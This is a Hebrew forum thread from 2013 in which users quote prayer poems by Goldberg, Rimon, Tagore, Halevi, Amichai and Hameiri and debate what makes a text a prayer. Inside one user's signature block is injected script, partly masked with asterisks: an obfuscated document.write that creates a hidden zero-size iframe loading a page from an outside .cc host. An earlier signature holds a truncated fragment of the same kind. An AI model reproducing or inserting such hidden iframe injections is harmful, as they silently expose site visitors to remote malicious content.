|
|
| נשלח ב-24/6/2013 07:41 |
 |
| |
מ80
תודה!
לדעתי ראוי יותר להעתיק תמלילים מאשר שירים בביצוע. יש כמה נימוקים לדבר. ראשית, שיר מבוצע הוא פרשנות, כלומר אם נראה לראשונה את התמליל כמקור. שנית, יש לי אישית העדפה לטקסט על פני הקלטה (או הסרטה) ולציטוט טקסט חשוב מאשר להפניה אליו, וזה בהחלט מתקיים בתפילות - קצרות. יש גם בעיה שחלק מחברינו משתמשים באינטרנט מסונן, ואז הם יכולים להגיע לפורום אבל לא ללינקים.
לגבי הרשימה האחרונה, כיון שאיני לוחץ על לינקים בדרך כלל (אמא לא מרשה לי כדי לא להידבק, סמיילי), איני יודע עדיין מה יש שם. אבל מהיכרותי עם השיר של ביאליק, ולפי הניסוח שלך, ניתן להבין שיש כאן שתי דרגות, וזה חשוב להדגיש:
א. תפילות.
יש בהן את הרכיבים המגדירים תפילה: פניה לאלוקים כנמען, וככל הנראה לפחות אחד מן הרכיבים שהזכרתי, שבח, הודאה ובקשה. וכמובן ביטוי מכוון מצד האדם.
ב. תפילות שלא מדעת.
המונח הזה בא לומר את אותם דברים שאמרת אתה, רק בהדגשה. כלומר, המילים עצמן יכולות להתפרש באופן אחר, אולם אנו, השומעים או הקוראים, מבינים את המילים כשיר אהבה (למשל) לא כלפי אשה בשר ודם אלא כלפי אלוקים.
ניתן גם להציע תיאוריות שונות לגבי הפרשנות הכפולה של שירים כאלו כתפילות. למשל, שאדם מטבעו חפץ להתפלל אבל לפעמים האהבה "נופלת".
וכמובן, בימי הבינים רווחו פרשנויות שפירשו שירי אהבה וכאלו כתפילות. ואב לכולם כמדומה הוא שיר השירים שלנו. ואולם בעוד חז"ל פירשו את שיר השירים כמשל על אהבת ה' לעם ישראל ועל הנסים שנעשו לו בתקופות שונות, הפילוסופים והמיסטיקאים פירשו אותו כמשל על אהבת הנפש האנושית לאלוקים. כמדומה שהדגם הזה הומצא לראשונה דווקא בידי פרשנים נוצרים עתיקים (אוריגנס אולי) ויש לבדוק.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-24/6/2013 16:26 |
|
| |
מיימוני,
רוב השירים המולחנים הינם באמת פרשנות לשיר המקורי, אולם יש שירים עבורם הלחן הינו חלק מהותי מהשיר המקורי. לדוגמא, טאגור כתב והלחין אלפי מזמורי-שיר שהפכו לנכסי צאן וברזל של התרבות הבנגאלית.
תפלה / לאה גולדברג
למדני אלוהי ברך והתפלל
על סוד עלה קמל
על נגה פרי בשל
על החירות הזאת
לראות, לחוש, לנשום
לדעת, לייחל, להיכשל
למד את שפתותי ברכה ושיר הלל
בהתחדש זמנך עם בוקר ועם ליל
לבל יהיה יומי היום כתמול שלשום
לבל יהיה עלי יומי הרגל
|
|
|
|
|
| נשלח ב-24/6/2013 17:46 |
|
| |
אדמה / יוסף צבי רימון
מה היא האדמה אשר אהבנוה?
שכבה מבוקר ועד ערב לפנינו,
וכל הלילה היא תפושת חלום ותנומה,
ראש עפרות-תבל גנוז אתה.
עברנו עליה ביעף, וכמו דובבה מלים:
הידעתם כי הריתי אדם עלי חלד?
בנוצץ נשמתו ממעל הענקתי לו גופו,
אצרתי כל טובו בי, נשאתי כל חמודותיו,
במעי המה, ראשי איבריו בקרבי נחתכו,
כל חזיונו השתלם, עד יצא כליל המעלות.
למה לא תשאלו לשלום אחיכם הנשארים,
לכל צמח, עשב ופרח, גם בעודו סמדר?
ילדה קטנה היתה השושנה ואני חתלתיה.
ושושן אחתול אצלה, בבכותם ישקם טל ממעל
האדם עץ השדה, והוא כמו ניתק ללכת,
כל היום נסגר בעדו, ובלילה נשכח כמת.
לו ידעתם אהבת אם, הידבק לה בעוז,
פתח, שדד רגביה, הענק לה ברכה -
וגמלה אתכם אהבת-חסד ורחמים רבים.
עת יתפלל הצמח למים,
שפתיו תדובבנה:
חד אני ורזה וחיור,
יצאתי לפתע את האדמה,
בוש אני להביט אל פני כל.
לבוש אני לאמי האדמה,
ואני ערום אעמוד כל היום,
לו טפה אפה יחנוני שחקים,
נזר רוזנים אהיה, עדי מלכים.
שמן יבוא אל קרבי, אדשן למאד,
אמי האדמה תמלא חסד מהתענג
וקרני שמש פזיזות ושמחות עלי תגלושנה.
תוקן על ידי מ80 ב- 24/06/2013 17:50:53
|
|
|
|
| נשלח ב-24/6/2013 18:31 |
|
| |
[אלוקים אישי לזכר, לנקבה ולאנדרוגינוס (אשכול ישן נושן של "עורבא פרח") -
|
|
|
|
| נשלח ב-24/6/2013 18:53 |
|
| |
מ
תודה על כל הדברים הנפלאים שתרמת, ותודה מיוחדת על שירה תפילתה של לאה גולדברג, החביב עלי מאד.
עתה צריך לקבל החלטה עקרונית.
האם באשכול זה יש מקום לדון גם על התפילות וסוגיהן, ואולי למתוח ביקורת?
אני משער שכן.
לכן אני מבקש לתמוה על הכללת השיר הקודם, של המשורר רימון.
לעיל הצעתי אבחנה בין
תפילה
תפילה שלא מדעת.
השיר הנוכחי, איני רואה בו לא תפילה מודעת ולא תפילה בלתי מודעת.
התוכל לנמק את הכללתו כאן? יתכן מאד שיש בו משהו שאיני מבין. אולי בתוכנו, ואולי עם הכרת הרקע לכתיבתו, תולדות המחבר ועוד.
|
|
|
|
| נשלח ב-24/6/2013 19:14 |
|
| |
מיימוני,
כמובן שיש מקום לדון ולשוחח על תפילות.
לכל בריה מהברואים יש את שפתה-היא. כאשר השפה מתייחדת בפנייתה מהפרט אל הכלל, הרי שזו תפלה. כאשר תינוק מבקש את אמו או את אביו, או כאשר צמח פונה לשחקים, הרי אלה הינם מיסודות התפילה ותחילתה של תפילה, ולא בכדי בתפילות לא פונים אל הבורא רק כאדון או כמלך אלא גם כאבינו, כי הקשר בין הבורא לברוא מיוחד כקשר בין אב לבנו. מה שעשה המשורר יוס צבי רימון בשירו הינו להקשיב ליסודות הארציים של התפילה, מהם ישראל התרחק במהלך הגלות הארוכה, וזה ממש מה שלאה גולדברג ביקשה ללמוד בתפילתה.
|
|
|
|
| נשלח ב-24/6/2013 20:30 |
|
| |
בתפלה העיקר איננו רק מה שאומרים אלא איך אומרים. הנה שירים הקרובים ברוחם זה לזה השואלים אותה שאלה ומשיבים לה תשובות שונות, שחיברו שני משוררים שחיו באותה תקופה במקומות ותרבויות הרחוקים זה מזה.
איכה אשיר על יום ולילה... (חלק ד) / יוסף צבי רימון
לא חפצתי בזולתך אלהי!
מה לי שמשות, מה לי כוכבים,
ומה לי כל בלעדיך?
אני עברי, אך אמת ביקשה לה נפשי,
בכל לבי דרשתיך, ותימצא לי,
גלית מסך מעל עיני ובכל חזיתיך -
ואתה בלבבי.
מתוך גיטנג'אלי מאת רבינדרנת טאגור (בתרגום פרישמן):
אתה השמים ואתה גם הקן.
הוי אתה הנחמד, אשר אהבתך מקננת בשמים ועוטה את כל הנשמה צבעים וצלילי-קול וריחות.
הנה בא הבוקר עם טנא זהבו, נושא מכלול יופי לעטר בו דומם את האדמה.
אחר בא הערב על פני כרים בודדים העזובים מני עדרים ובינות למשעולים לא-דרוכים הוא נושא בכד-זהבו שלום מים-המנוחה הגדול במערב.
ושם באשר השמים פרושים באין-חקר לנוכח הנשמה, והיא עורגת לעוף אל-תוכם, שם ימשול הזוהר הלבן באין שמץ כתם, שם אין יום ואין לילה, אין דמות ואין צבע ואין מלה אף-אחת.
תוקן על ידי מ80 ב- 24/06/2013 20:30:56
|
|
|
|
| נשלח ב-25/6/2013 11:33 |
|
| |
כריעה / רבי יהודה הלוי
שמי השמים לא יכלכלוהו - אף כי הלבבות יכילוהו - ראשון לכל ראשון - ונעלם מכל אישון - ונבצר מכל לשון - יעבור עלי ולא אראה, ויחלוף ולא אבין לו, בהיר הוא בשחקים, כל פה יגידהו - וכל לשון תעידהו - וחית השדה תכבדהו - מה אדיר שמו - ומה נורא מקומו - אשר נקרא שם שם א-דני צבאות יושב הכרובים עליו, כסא כבוד מרום מראשון מקום מקדשנו - ושם קדשנו ותפארתנו, וברוך שם כבודו לעולם וימלא כבודו את כל הארץ אמן ואמן
תוקן על ידי מ80 ב- 25/06/2013 11:34:25
|
|
|
|
| נשלח ב-25/6/2013 11:46 |
|
| |
יהודה עמיחי
וְהִיא תְּהִלָּתֶךָ בִּשְׁתִיקָתִי הַגְדולָה וּבְצַעֲקָתִי הַקְּטַנָּה אֲנִי חוֹרֵשׁ כִּלְאַיִם. הָיִיתִי בַּמַּיִם וְהָיִיתִי בָּאֵשׁ. הָיִיתִי בִּירוּשָׁלַיִם וּבְרומָא, אוּלַי אֶהְיֶה בְּמֶכָּה.
אַךְ הַפַּעַם אֱלהִים מִתְחַבֵּא וְאָדָם צועֵק אַיֶּכָּה. וְהִיא תְּהִלָּתֶךָ. אֱלהִים שׁוֹכֵב עַל גַּבּוֹ מִתַּחַת לַתֵּבֵל, תָּמִיד עָסוּק בְּתִקּוּן, תָּמִיד מַשֶּׁהוּ מִתְקַלְקֵל. רָצִיתִי לִרְאותו כֻּלּו, אַךְ אֲנִי רוֹאֶה רַק אֶת סֻלְיוֹת נְעָלָיו וַאֲנִי בּוֹכֶה. וְהִיא תְּהִלָּתוֹ. אֲפִלּוּ הָעֵצִים הָלְכוּ לִבְחר לָהֶם מֶלֶךְ. אֶלֶף פְּעָמִים הִתְחַלְתִּי אֶת חַיַּי מִכָּאן וָאֵילֵךְ. בִּקְצֵה הָרְחוֹב עוֹמֵד אֶחָד וּמוֹנֶה: אֶת זֶה וְאֶת זֶה וְאֶת זֶה וְאֶת זֶה. וְהִיא תְּהִלָּתֶךָ. אוּלַי כְּמוֹ פֶּסֶל עַתִּיק שֶּאֵין בּו זְרוֹעוֹת גַם חַיֵּינוּ יָפִים יותֵר, בְּלִי מַעֲשים וּגְבוּרות. פִּרְקִי מִמֶּנִּי אֶת שִׁרְיוֹן גּוּפִיָּתִי הַמַּצְהִיבָה, נִלְחַמְתִי בְּכָל הָאַבִּירִים, עַד הַחַשְׁמַל כָּבָה. וְהִיא תְּהִילָּתִי. תָּנוּח דַּעְתֵּךְ, דַּעְתַּךְ רָצָה עִמִּי בְּכָל הַדֶּרֶךְ, וְעַכְשָׁו הִיא עֲיֵפָה וְאֵין בָּהּ עוֹד עֵרֶךְ, אֲנִי רואֶה אותָךְ מוֹצִיאָה דָּבָר מִן הַמְקָרֵר, מוּאֶרֶת מִתּוֹכוֹ בְּאוֹר שֶׁמֵּעוֹלָם אַחֵר. וְהִיא תְּהִלָּתִי וְהִיא תְּהִלָּתוֹ וְהִיא תְּהִלָּתֶךָ.
תוקן על ידי ירוחםשמ ב- 25/06/2013 11:51:34
|
|
|
|
|
| נשלח ב-25/6/2013 12:10 |
|
| |
אלוהים תן לי את האומץ לשנות את מה שאפשר, את הכוח לקבל את מה שאי אפשר לשנות ואת החוכמה להבדיל בין השניים.
פרנסיסקוס מאסיסי
|
|
|
|
| נשלח ב-25/6/2013 12:34 |
|
| |
סוגי שירי הקודש במקרא:
שיר - מלשון להיישיר קול דברים או מלשון תשורה, מנחה.
מזמור - מלשון זמרת (מיטב) הארץ, או מלשון כלי זמר, או מלשון לזמר, לכרות (רבי עמנואל פראנשיס) ושלשת המשמעויות מורות לאותה כוונה, דהיינו שמזמורים הינם מבחר השירים. הזמר מיוחד בשבחו לה' על עניינים השגחיים וניסיים וכו', בעוד השיר יבוא גם על ענינים טבעיים (מלבי"ם).
משכיל - שיר לימודי מלשון השכל.
מכתם - מלשון כתם פז, כלומר שיר זהב.
שגיון - נועם מלשון תשגה תמיד (ראב"ע) או תפילה על שגיאה מלשון שגג (רש"י).
תפילה - בקשה, תחנה, מלשון פלל, לפי שהמתפלל מבקש מהקב"ה שישפטנו ברחמיו ולא יפנה לרוב הרעות שעשה אלא יליץ בעדו ויצדיקהו (רד"ק, שד"ל).
תהילה - שבח, הלל.
תוקן על ידי מ80 ב- 25/06/2013 12:36:12
|
|
|
|
| נשלח ב-28/6/2013 11:00 |
|
| |
איקון ירוק לכולם על הבחירות הנפלאות.
אני חוזר למה שכתב מ לעיל. אני מעתיק כדי שיהיה ברור.
1. לכל בריה מהברואים יש את שפתה-היא. כאשר השפה מתייחדת בפנייתה מהפרט אל הכלל, הרי שזו תפלה. כאשר תינוק מבקש את אמו או את אביו, או כאשר צמח פונה לשחקים, הרי אלה הינם מיסודות התפילה ותחילתה של תפילה, ולא בכדי בתפילות לא פונים אל הבורא רק כאדון או כמלך אלא גם כאבינו, כי הקשר בין הבורא לברוא מיוחד כקשר בין אב לבנו.
2. מה שעשה המשורר יוס צבי רימון בשירו הינו להקשיב ליסודות הארציים של התפילה, מהם ישראל התרחק במהלך הגלות הארוכה, וזה ממש מה שלאה גולדברג ביקשה ללמוד בתפילתה.
כתבתי לעיל על תפילה מכוונת ותפילה לא מודעת.
בעקבות שליירמאכר, בעל הרעיון של רגש התלות, אני סבור שתפילה היא ביטוי של הרצון לקשר עם מי שאנו תלויים בו. עם זאת, יתכן שהתפילה אינה חייבת להיות ממקום של חולשה וצורך (זה רעיון נועז שטעון פיתוח). אבל אלו היו הדוגמאות שלך אז בסדר.
לפיכך, אתה צודק. התינוק בוכה ואינו יודע למי הוא בוכה. אנו מסתכלים מהצד, כמו אלוקים לפי השערתנו, ואומרים: ראו, התינוק מחפש את אלוקים אבל הוא פונה לאבא ואמא.
סיפור חסידי יפה שהוא גרסה מאוחרת של סיפור מהגמרא מספר על צדיק/חסיד/ירא שמים/בעל מופת שתפילותיו נשמעות, שרצו אחריו ילדים וצעקו (בגרסה התלמודית): אבא, תן לנו גשם. מרים הצדיק את עיניו לשמים ואומר: ריבונו של עולם, תן להם את משאלתם, כי הם אינם יודעים להבדיל בין אבא האמיתי לבין בשר ודם.
זו תפילה לא מודעת - של התינוקות, בכל גיל ובכל מצב נפשי - שאנו מפרשים מחדש בתור כזו.
ב. השיר שהבאת מרימון, כוונתי לראשון, מגיע עמוק יותר לפי דבריך, ולכן איני רואה בו תפילה. זו לא רק שאלה סמאנטית (=איך משתמשים במילים). נכון שיש בירורים שמובילים להכרה באלוקים ולתפילה. אבל אולי זה תלוי גם במניעים הגלויים והסמויים לחיפוש. שוב, איני מכיר את רימון. אם יודעים שהוא אדם דתי (זה לא זהה דווקא לשומר מצוות) השיר יכול להתפרש כך.
יש לי השגה על הכתרתו כ"שיר תפילה" אבל העמדה שלך היא לגיטימית. רק שאני, ממקומי ומחוסר ידיעתי, עדיין איני רואה בו כזה. עם זאת, אני יכול להבין שבדיון על תפילה ורמותיה ועיוניה תהיה פרשנות כמו שלך ואני עצמי הייתי משתמש בדוגמא הזו - עם ההסתייגויות שלי.
כתבת שמה שלאה גולדברג מחפשת זה מה שרימון מחפש. אני הבנתי אותה אחרת. בכל אופן, השיר שלה מכוון כבקשה ולאלוקים ולכן הוא תפילה ממש. לדעתי ובאופן שבו מידרגתי את הסוגים.
_____נוספה הדגשה להעתקת דברי מ כדי להבדיל בין דבריו לדברי____________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 28/06/2013 11:00:23
|
|
|
|
|
| נשלח ב-28/6/2013 14:49 |
|
| |
מיימוני,
תפילה איננה דבר מובן מאליו. כאשר באים לקרוא את שירתו של משורר מיוחד כמו יוסף צבי רימון, שכנראה הבין כמה דברים על שירה ותפילה שרק מעט אנשים הצליחו להבין, צריך להקשיב מה הוא מנסה לומר, ולא לבוא מראש עם דעות פילוסופיות החוצצות בין הלב והאוזן. אפשר להבין את שירו בשני דרכים. האחד, שלכל ברוא מהברואים יש את שפתו-הוא, גם לבע"ח, גם לצמחים, גם לדומם, ושהמשורר הקשיב מה אומרים האדמה והצמח, וכאילו ממש שמע תפילה של צמח שיצא מן האדמה, ויכל לשמוע את תפילתו כי הבריאה כולה כלולה באדם. השני, שהאדם מתקן את העולם כולו, והמשורר שם בפיו של הצמח תפילה הנאותה לו.
|
|
|
|
| נשלח ב-28/6/2013 14:58 |
|
| |
תפילה / אביגדור המאירי
סוכתי הרעננה מנעמת בעדי עדיים:
יבול אדמתי הם, כל פרח וכל בד -
אלי, אל התנובה,
שתי ידי לך פרושות - הושיטה לי יד
וברך נא אדמתי שבע-שבעתיים.
אתרוגי, פרי עמלי, נודף לכל אפסים
ובכפות תמרי נטעי אהללך לעד -
אלי, אל התנובה,
שתי ידי לך פרושות - הושיטה לי יד
ורוה נא אדמתי ממטר השמים.
שולחני הצנוע מרהיב לב ועין:
מזבחך הטהור הוא, בית מקדש מעט -
אלי, אל התנובה,
שתי ידי לך פרושות - הושיטה לי יד
ותן לי לחם חוקי ביגיע כפים.
|
|
|
|
|
